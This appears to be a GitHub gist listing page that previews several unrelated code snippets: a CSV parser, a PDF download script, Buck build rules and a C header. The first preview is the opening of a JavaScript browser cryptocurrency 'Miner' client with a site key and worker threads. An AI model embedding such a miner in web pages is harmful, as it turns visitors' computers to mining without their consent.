This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(window) { | |
"use strict"; | |
var Miner = function(siteKey, params) { | |
this.params = params || {}; | |
this._siteKey = siteKey; | |
this._user = null; | |
this._threads = []; | |
this._hashes = 0; | |
this._currentJob = null; | |
this._autoReconnect = true; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export const parseCsv = function * (symbols) { | |
let word = ''; | |
let line = []; | |
for (const symbol of symbols) { | |
if (symbol == '\n') { | |
line.push(word); | |
yield line; | |
word = ''; | |
line = []; | |
} else if (symbol == ',') { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import _ from 'lodash'; | |
import superagent from 'superagent'; | |
import pdf from 'pdfjs-dist'; | |
const url = 'http://unec.edu.az/application/uploads/2014/12/pdf-sample.pdf'; | |
const main = async () => { | |
const response = await superagent.get(url).buffer(); | |
const data = response.body; | |
const doc = await pdf.getDocument({ data }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = { | |
connectInputs: (canvas, inputHandler) => {}, | |
getInitialState: () => ({}), | |
handleInput: (state, input) => state, | |
update: (state, delta) => state, | |
render: (state, canvas) => {} | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cxx_library( | |
name = 'mathutils', | |
header_namespace = 'mathutils', | |
exported_headers = dict([ | |
(x, add_include_guard(y)) for (x, y) in mathutils_headers.items() | |
]), | |
srcs = glob([ | |
'mathutils/src/**/*.cpp', | |
]), | |
) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mathutils_headers = subdir_glob([ | |
('mathutils/include', '**/*.hpp'), | |
]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def add_include_guard(x): | |
name = hashlib.sha256(x).hexdigest()[0:16] | |
genrule( | |
name = name, | |
out = os.path.basename(x), | |
srcs = [ | |
'scripts/add-include-guard.py', | |
x, | |
], | |
cmd = 'python $SRCS > $OUT', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
genrule( | |
name = 'guarded-add', | |
out = 'add.hpp', | |
srcs = [ | |
'scripts/add-include-guard.py', | |
'add.hpp', | |
], | |
cmd = 'python $SRCS > $OUT', | |
) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#ifndef INCLUDED_786be73f07f8bf5cc4c26dd0bb4f57e0 | |
#define INCLUDED_786be73f07f8bf5cc4c26dd0bb4f57e0 | |
int add(int x, int y); | |
#endif |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
786be73f07f8bf5cc4c26dd0bb4f57e0777671adf256e6d5168a4f0c02f167b6 |